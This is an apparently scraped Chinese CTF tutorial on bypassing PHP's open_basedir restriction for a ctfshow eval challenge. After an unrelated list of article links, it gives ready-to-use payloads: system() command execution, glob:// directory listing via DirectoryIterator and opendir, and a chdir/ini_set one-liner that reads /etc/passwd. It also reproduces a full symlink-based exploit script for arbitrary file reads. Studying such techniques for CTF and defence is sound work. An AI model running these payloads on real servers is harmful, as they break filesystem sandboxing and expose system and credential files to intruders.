当前位置: 首页 > news >正文

Bypass open_basedir

讲解

open_basedir是php.ini中的一个配置选项,可用于将用户访问文件的活动范围限制在指定的区域。

假设open_basedir=/var/www/html/web1/:/tmp/,那么通过web1访问服务器的用户就无法获取服务器上除了/var/www/html/web1/和/tmp/这两个目录以外的文件。

ctfshow题目: 

error_reporting(0);
highlight_file(__FILE__);eval($_POST[1]);

利用命令执行函数Bypass

open_basedir对命令执行函数没有限制,我们可以使用system()函数读到目标文件

利用glob://伪协议Bypass 

只是用glob://伪协议是无法直接绕过的,它需要结合其他函数组合利用,主要有以下两种利用方式,局限性在于它们都只能列出根目录下和open_basedir指定的目录下的文件,不能列出除前面的目录以外的目录中的文件,且不能读取文件内容。 

方式1—DirectoryIterator+glob://
DirectoryIterator是php5中增加的一个类,为用户提供一个简单的查看目录的接口。
DirectoryIterator与glob://结合将无视open_basedir,列举出根目录下的文件 

<?php
一句话payload
$c = "glob:///*"
$a = new DirectoryIterator($c);
foreach($a as $f){echo($f->__toString().'<br>');
}
?>

方式2——opendir()+readdir()+glob://
opendir()函数为打开目录句柄,readdir()函数为从目录句柄中读取条目 

一句话
c=$a=opendir("./"); while (($file = readdir($a)) !== false){echo $file . "<br>"; };exit(0);

 利用chdir()与ini_set()组合Bypass

payload:其中chdir('..')尽量多,确保到达根目录

mkdir('mi1k7ea');chdir('mi1k7ea');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo file_get_contents('/etc/passwd');

P神脚本绕过 

传参file为

<?php
/*
* by phithon
* From https://www.leavesongs.com
* detail: http://cxsecurity.com/issue/WLB-2009110068
*/
header('content-type: text/plain');
error_reporting(-1);
ini_set('display_errors', TRUE);
printf("open_basedir: %s\nphp_version: %s\n", ini_get('open_basedir'), phpversion());
printf("disable_functions: %s\n", ini_get('disable_functions'));
$file = str_replace('\\', '/', isset($_REQUEST['file']) ? $_REQUEST['file'] : '/etc/passwd');
$relat_file = getRelativePath(__FILE__, $file);
$paths = explode('/', $file);
$name = mt_rand() % 999;
$exp = getRandStr();
mkdir($name);
chdir($name);
for($i = 1 ; $i < count($paths) - 1 ; $i++){mkdir($paths[$i]);chdir($paths[$i]);
}
mkdir($paths[$i]);
for ($i -= 1; $i > 0; $i--) { chdir('..');
}
$paths = explode('/', $relat_file);
$j = 0;
for ($i = 0; $paths[$i] == '..'; $i++) { mkdir($name);chdir($name);$j++;
}
for ($i = 0; $i <= $j; $i++) { chdir('..');
}
$tmp = array_fill(0, $j + 1, $name);
symlink(implode('/', $tmp), 'tmplink');
$tmp = array_fill(0, $j, '..');
symlink('tmplink/' . implode('/', $tmp) . $file, $exp);
unlink('tmplink');
mkdir('tmplink');
delfile($name);
$exp = dirname($_SERVER['SCRIPT_NAME']) . "/{$exp}";
$exp = "http://{$_SERVER['SERVER_NAME']}{$exp}";
echo "\n-----------------content---------------\n\n";
echo file_get_contents($exp);
delfile('tmplink');function getRelativePath($from, $to) {// some compatibility fixes for Windows paths$from = rtrim($from, '\/') . '/';$from = str_replace('\\', '/', $from);$to   = str_replace('\\', '/', $to);$from   = explode('/', $from);$to     = explode('/', $to);$relPath  = $to;foreach($from as $depth => $dir) {// find first non-matching dirif($dir === $to[$depth]) {// ignore this directoryarray_shift($relPath);} else {// get number of remaining dirs to $from$remaining = count($from) - $depth;if($remaining > 1) {// add traversals up to first matching dir$padLength = (count($relPath) + $remaining - 1) * -1;$relPath = array_pad($relPath, $padLength, '..');break;} else {$relPath[0] = './' . $relPath[0];}}}return implode('/', $relPath);
}function delfile($deldir){if (@is_file($deldir)) {@chmod($deldir,0777);return @unlink($deldir);}else if(@is_dir($deldir)){if(($mydir = @opendir($deldir)) == NULL) return false;while(false !== ($file = @readdir($mydir))){$name = File_Str($deldir.'/'.$file);if(($file!='.') && ($file!='..')){delfile($name);}} @closedir($mydir);@chmod($deldir,0777);return @rmdir($deldir) ? true : false;}
}function File_Str($string)
{return str_replace('//','/',str_replace('\\','/',$string));
}function getRandStr($length = 6) {$chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';$randStr = '';for ($i = 0; $i < $length; $i++) {$randStr .= substr($chars, mt_rand(0, strlen($chars) - 1), 1);}return $randStr;
}

相关文章:

  • 力扣面试150题 | 搜索插入位置
  • 机器人集群控制算法概述
  • 事业编《综应 综合知识应用能力 综合应用》笔记
  • Cpolar配置外网访问和Dashy
  • 为 Compose MultiPlatform 添加 C/C++ 支持(1):在 kotlin 中使用 cinterop 实现与 C/C++ 互操作
  • 鸿蒙原生应用/元服务开发-新版本端云一体化模板体验反馈
  • linux远程桌面管理工具(xrdp)、向日葵
  • 排序算法---选择排序
  • 基于ssm高校实验室管理系统的设计与实现论文
  • uniapp移动端悬浮按钮(吸附边缘)
  • 【rabbitMQ】模拟work queue,实现单个队列绑定多个消费者
  • gittee使用教学
  • 基于Solr的全文检索系统的实现与应用
  • 华为OD机试 - 部门人力分配(Java JS Python C)
  • FFmpeg抽取视频h264数据重定向
  • 【React系列】如何构建React应用程序
  • 【跃迁之路】【519天】程序员高效学习方法论探索系列(实验阶段276-2018.07.09)...
  • Android开发 - 掌握ConstraintLayout(四)创建基本约束
  • AngularJS指令开发(1)——参数详解
  • Angular数据绑定机制
  • bootstrap创建登录注册页面
  • CSS实用技巧干货
  • Eureka 2.0 开源流产,真的对你影响很大吗?
  • IndexedDB
  • Java新版本的开发已正式进入轨道,版本号18.3
  • MySQL数据库运维之数据恢复
  • PHP 的 SAPI 是个什么东西
  • php的插入排序,通过双层for循环
  • 浮现式设计
  • 如何使用Mybatis第三方插件--PageHelper实现分页操作
  • 使用 @font-face
  • 使用iElevator.js模拟segmentfault的文章标题导航
  • 腾讯视频格式如何转换成mp4 将下载的qlv文件转换成mp4的方法
  • 新书推荐|Windows黑客编程技术详解
  • 用jQuery怎么做到前后端分离
  • SAP CRM里Lead通过工作流自动创建Opportunity的原理讲解 ...
  • 小白应该如何快速入门阿里云服务器,新手使用ECS的方法 ...
  • ​​​​​​​ubuntu16.04 fastreid训练过程
  • ​MPV,汽车产品里一个特殊品类的进化过程
  • ​软考-高级-系统架构设计师教程(清华第2版)【第20章 系统架构设计师论文写作要点(P717~728)-思维导图】​
  • #565. 查找之大编号
  • #stm32整理(一)flash读写
  • #ubuntu# #git# repository git config --global --add safe.directory
  • (10)ATF MMU转换表
  • (2024,Vision-LSTM,ViL,xLSTM,ViT,ViM,双向扫描)xLSTM 作为通用视觉骨干
  • (HAL)STM32F103C6T8——软件模拟I2C驱动0.96寸OLED屏幕
  • (java版)排序算法----【冒泡,选择,插入,希尔,快速排序,归并排序,基数排序】超详细~~
  • (八)c52学习之旅-中断实验
  • (编程语言界的丐帮 C#).NET MD5 HASH 哈希 加密 与JAVA 互通
  • (第61天)多租户架构(CDB/PDB)
  • (附源码)springboot社区居家养老互助服务管理平台 毕业设计 062027
  • (黑客游戏)HackTheGame1.21 过关攻略
  • (论文阅读22/100)Learning a Deep Compact Image Representation for Visual Tracking
  • (求助)用傲游上csdn博客时标签栏和网址栏一直显示袁萌 的头像
  • (一)appium-desktop定位元素原理